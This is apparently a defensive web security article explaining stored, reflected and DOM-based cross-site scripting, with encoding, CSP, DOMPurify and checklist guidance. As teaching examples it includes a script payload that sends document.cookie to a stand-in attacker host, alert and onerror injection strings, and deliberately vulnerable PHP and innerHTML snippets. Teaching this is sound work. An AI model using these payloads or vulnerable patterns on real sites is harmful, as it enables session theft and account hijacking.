Cross-Site Scripting (XSS): How It Works and Prevention
> - Core Concept: XSS enables attackers to inject malicious client-side JavaScript into web applications, stealing session cookies and hijacking accounts.

Cross-Site Scripting (XSS) remains one of the most prevalent and disruptive client-side vulnerabilities across the web. While server-side flaws like SQL injection target underlying database engines directly, XSS targets the users of an application. By injecting malicious JavaScript into web pages viewed by legitimate users, an attacker can hijack active sessions, steal authentication tokens, log keystrokes, deface web portals, or perform unauthorized actions on behalf of the victim.
Understanding how browsers execute untrusted script code is essential for every frontend architect and security engineer.
The core mechanics of Cross-Site Scripting
Browsers enforce the Same-Origin Policy (SOP) to isolate scripts from different domains. However, if an attacker can inject arbitrary JavaScript into a page served from your legitimate origin, the browser executes that code with the full privileges of your trusted domain.
The malicious script gains full programmatic access to:
- Session tokens stored in
localStorageorsessionStorage. - Document cookies not protected by the
HttpOnlyflag. - The Document Object Model (DOM), allowing DOM tree rewriting or form tampering.
- Authenticated API endpoints via standard
fetch()orXMLHttpRequestcalls.
If your application mishandles token storage or authentication headers, review our analysis of JWT security pitfalls and CORS configuration rules.
The three primary categories of XSS
Security engineers classify XSS vulnerabilities into three distinct types depending on where the malicious payload originates and how it is processed:
| XSS Type | Origin of Malicious Payload | Execution Path | Typical Target Vector |
|---|---|---|---|
| Stored (Persistent) | Saved permanently in database or server storage | Delivered to every user who requests the infected resource | Comment sections, forum posts, user profiles |
| Reflected (Non-Persistent) | Embedded in incoming HTTP request (URL query or form) | Server reflects the unescaped input immediately in the response | Search result pages, error feedback messages |
| DOM-based | Manipulates client-side JavaScript execution context | Payload never touches the server; executes entirely in browser DOM | location.hash, document.referrer, eval(), innerHTML |
1. Stored XSS example
An attacker submits a comment containing a script payload:
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
If the backend stores this string verbatim and renders it on a public article without HTML entity encoding, every visitor who opens the article inadvertently triggers the payload.
2. Reflected XSS example
A search endpoint formats search queries directly into HTML:
<p>Search results for: <?php echo $_GET['q']; ?></p>
An attacker crafts a link: https://example.com/search?q=<script>alert(document.domain)</script>. When an unsuspecting victim clicks the link, the browser executes the script in the context of example.com.
3. DOM-based XSS example
Client-side JavaScript reads input directly from the browser URL without server involvement:
// DANGEROUS: DOM sink vulnerability
const params = new URLSearchParams(window.location.search);
const userName = params.get('name');
document.getElementById('greeting').innerHTML = `Hello, ${userName}!`;
Because innerHTML parses raw HTML, an attacker passing ?name=<img src=x onerror=alert(1)> executes arbitrary JavaScript instantly.
Primary defense: Context-aware output encoding
The fundamental mitigation for XSS is context-aware output encoding. You must encode untrusted data specifically for the context in which it appears within the document:
| Context | Dangerous Example | Secure Encoding Requirement |
|---|---|---|
| HTML Body | <div>USER_INPUT</div> |
Convert &, <, >, ", and ' to HTML entities (<, >, etc.) |
| HTML Attribute | <input value="USER_INPUT"> |
Encode all non-alphanumeric characters or quote strictly |
| JavaScript Variable | const data = 'USER_INPUT'; |
Use JSON serialization (JSON.stringify()) with unicode escaping |
| URL Parameter | <a href="/search?q=USER_INPUT"> |
Use encodeURIComponent() |
Modern frontend frameworks like React, Vue, and Angular perform automatic HTML entity encoding when rendering values via data binding expressions ({userInput} or {{ userInput }}). However, escape hatches like dangerouslySetInnerHTML in React or v-html in Vue bypass these protections and must be audited carefully.
Secondary defense: Content Security Policy (CSP)
While output encoding prevents scripts from being injected, a robust Content Security Policy (CSP) acts as a critical secondary safety net. CSP is an HTTP response header that instructs browsers which resource origins and script execution models are permitted:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m123'; object-src 'none'; base-uri 'self';
Key CSP controls include:
- Disallowing Inline Scripts: Omitting
'unsafe-inline'prevents<script>tags embedded in HTML or inlineonload/onerrorhandlers from executing. - Restricting Script Hosts: Only scripts hosted on your trusted domain or designated CDNs are loaded.
- Nonce-Based Execution: Utilizing a cryptographically random, per-request nonce ensures that only server-signed scripts run.
Safe DOM manipulation patterns
When manipulating the DOM in client-side code, always use safe properties that treat values exclusively as text:
// SECURE: Use textContent instead of innerHTML
const greetingEl = document.getElementById('greeting');
greetingEl.textContent = `Hello, ${userName}!`; // Browsers never parse textContent as HTML
// SECURE: Use safe attribute setters
const avatarEl = document.getElementById('avatar');
avatarEl.setAttribute('alt', userBio);
If your application must render user-authored rich text (such as Markdown or HTML formatting), sanitize the input using a proven library like DOMPurify before insertion:
import DOMPurify from 'dompurify';
const rawHtml = marked.parse(userMarkdown);
const cleanHtml = DOMPurify.sanitize(rawHtml);
document.getElementById('content').innerHTML = cleanHtml;
Security review checklist for XSS prevention
Verify these items across your frontend and backend codebases before release:
- All dynamic data rendered in HTML templates is encoded for its specific output context.
- No direct assignments to
innerHTML,outerHTML, ordocument.write()exist without DOMPurify sanitization. - Modern frameworks avoid escape hatches (
dangerouslySetInnerHTML,v-html) except where strictly necessary. - Strict Content Security Policy (CSP) headers are transmitted without
'unsafe-inline'or'unsafe-eval'. - Session cookies are configured with
HttpOnly,Secure, andSameSite=Strictflags to prevent exfiltration.
Bottom line
Cross-Site Scripting occurs when browsers mistake untrusted data for executable script instructions. By combining context-aware encoding, safe DOM APIs, proven sanitizers like DOMPurify, and strict Content Security Policies, engineering teams can build resilient web applications that neutralize XSS attacks entirely.
Sources: OWASP Top 10 Web Application Security Risks, OWASP Cross-Site Scripting Prevention Cheat Sheet, W3C Content Security Policy Level 3 Specification, CWE-79 (evaluated November 2026).



